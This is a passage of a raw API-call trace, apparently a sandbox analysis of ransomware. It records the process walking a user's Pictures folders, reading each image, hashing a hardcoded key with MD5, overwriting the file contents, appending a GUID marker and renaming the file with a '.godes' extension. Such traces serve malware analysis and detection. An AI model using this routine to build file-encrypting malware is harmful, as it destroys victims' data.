ftCreationTime.dwHighDateTime=0x1d4c848, ftLastAccessTime.dwLowDateTime=0x54dfddf0, ftLastAccessTime.dwHighDateTime=0x1d4c575, ftLastWriteTime.dwLowDateTime=0x54dfddf0, ftLastWriteTime.dwHighDateTime=0x1d4c575, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.322] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd425d0, ftCreationTime.dwHighDateTime=0x1d4c848, ftLastAccessTime.dwLowDateTime=0x54dfddf0, ftLastAccessTime.dwHighDateTime=0x1d4c575, ftLastWriteTime.dwLowDateTime=0x54dfddf0, ftLastWriteTime.dwHighDateTime=0x1d4c575, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.322] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab18440, ftCreationTime.dwHighDateTime=0x1d4cfcb, ftLastAccessTime.dwLowDateTime=0x72849a20, ftLastAccessTime.dwHighDateTime=0x1d4caf8, ftLastWriteTime.dwLowDateTime=0x72849a20, ftLastWriteTime.dwHighDateTime=0x1d4caf8, nFileSizeHigh=0x0, nFileSizeLow=0xfa51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0pL6.bmp", cAlternateFileName="")) returned 1 [0114.322] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\0pL6.bmp") returned=".bmp" [0114.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\0pL6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\0pl6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.323] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=64081) returned 1 [0114.323] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.324] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfa2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.325] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.326] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xfa51, lpOverlapped=0x0) returned 1 [0114.327] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.327] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.327] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.327] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.328] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.328] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.328] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.328] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.328] GetLastError () returned 0x0 [0114.328] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.328] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.329] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfa51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.329] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.329] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.329] CloseHandle (hObject=0x624) returned 1 [0114.330] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\0pL6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\0pl6.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\0pL6.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\0pl6.bmp.godes")) returned 1 [0114.331] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf675adf0, ftCreationTime.dwHighDateTime=0x1d4d224, ftLastAccessTime.dwLowDateTime=0x90a8f960, ftLastAccessTime.dwHighDateTime=0x1d4caa3, ftLastWriteTime.dwLowDateTime=0x90a8f960, ftLastWriteTime.dwHighDateTime=0x1d4caa3, nFileSizeHigh=0x0, nFileSizeLow=0x7c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gWv1KyJiGPxpOMqL3.png", cAlternateFileName="GWV1KY~1.PNG")) returned 1 [0114.331] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\gWv1KyJiGPxpOMqL3.png") returned=".png" [0114.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\gWv1KyJiGPxpOMqL3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\gwv1kyjigpxpomql3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.332] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1985) returned 1 [0114.332] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.333] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x79b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.333] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.335] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x7c1, lpOverlapped=0x0) returned 1 [0114.335] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.335] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.335] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.335] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.336] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.336] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.336] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.336] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.336] GetLastError () returned 0x0 [0114.336] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.336] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.336] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.336] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.336] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.336] CloseHandle (hObject=0x624) returned 1 [0114.337] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\gWv1KyJiGPxpOMqL3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\gwv1kyjigpxpomql3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1E-1x-bA_f\\gWv1KyJiGPxpOMqL3.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1e-1x-ba_f\\gwv1kyjigpxpomql3.png.godes")) returned 1 [0114.338] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf675adf0, ftCreationTime.dwHighDateTime=0x1d4d224, ftLastAccessTime.dwLowDateTime=0x90a8f960, ftLastAccessTime.dwHighDateTime=0x1d4caa3, ftLastWriteTime.dwLowDateTime=0x90a8f960, ftLastWriteTime.dwHighDateTime=0x1d4caa3, nFileSizeHigh=0x0, nFileSizeLow=0x7c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gWv1KyJiGPxpOMqL3.png", cAlternateFileName="GWV1KY~1.PNG")) returned 0 [0114.338] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.338] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.338] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.338] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.338] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.339] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.339] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.339] PathFindFileNameW (pszPath="") returned="" [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.339] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.339] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.339] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.339] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a01c40, ftCreationTime.dwHighDateTime=0x1d4ca85, ftLastAccessTime.dwLowDateTime=0x45ea1e80, ftLastAccessTime.dwHighDateTime=0x1d4d553, ftLastWriteTime.dwLowDateTime=0x45ea1e80, ftLastWriteTime.dwHighDateTime=0x1d4d553, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-zbo jfn3hfrTF0uU6.jpg", cAlternateFileName="-ZBOJF~1.JPG")) returned 1 [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.339] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.339] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.339] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\-zbo jfn3hfrTF0uU6.jpg") returned=".jpg" [0114.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\-zbo jfn3hfrTF0uU6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\-zbo jfn3hfrtf0uu6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.340] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=5138) returned 1 [0114.340] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.341] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.341] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.343] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.343] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.343] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.343] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1412, lpOverlapped=0x0) returned 1 [0114.343] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.343] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.344] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.344] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.344] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.344] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.344] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.344] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.344] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.344] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.344] GetLastError () returned 0x0 [0114.345] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.345] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1410) returned 0x3321120 [0114.345] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.345] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x140d, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x140d, lpOverlapped=0x0) returned 1 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.345] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.345] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.345] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.345] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.345] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.345] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.345] CloseHandle (hObject=0x624) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.346] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.346] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.346] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\-zbo jfn3hfrTF0uU6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\-zbo jfn3hfrtf0uu6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\-zbo jfn3hfrTF0uU6.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\-zbo jfn3hfrtf0uu6.jpg.godes")) returned 1 [0114.347] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.347] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.348] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.348] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519cf870, ftCreationTime.dwHighDateTime=0x1d4d49e, ftLastAccessTime.dwLowDateTime=0x737d8a00, ftLastAccessTime.dwHighDateTime=0x1d4c890, ftLastWriteTime.dwLowDateTime=0x737d8a00, ftLastWriteTime.dwHighDateTime=0x1d4c890, nFileSizeHigh=0x0, nFileSizeLow=0x1233f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHB6k1yx.png", cAlternateFileName="")) returned 1 [0114.348] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.348] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.348] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.348] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\qHB6k1yx.png") returned=".png" [0114.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\qHB6k1yx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\qhb6k1yx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.348] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=74559) returned 1 [0114.348] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.350] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.350] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.351] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.351] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.351] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.351] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1233f, lpOverlapped=0x0) returned 1 [0114.352] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.352] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.352] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.352] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.352] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.353] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.353] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.353] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.353] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.353] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.353] GetLastError () returned 0x0 [0114.353] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.353] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.353] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.353] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12340) returned 0x3321120 [0114.354] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.354] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1233a, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1233a, lpOverlapped=0x0) returned 1 [0114.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.354] 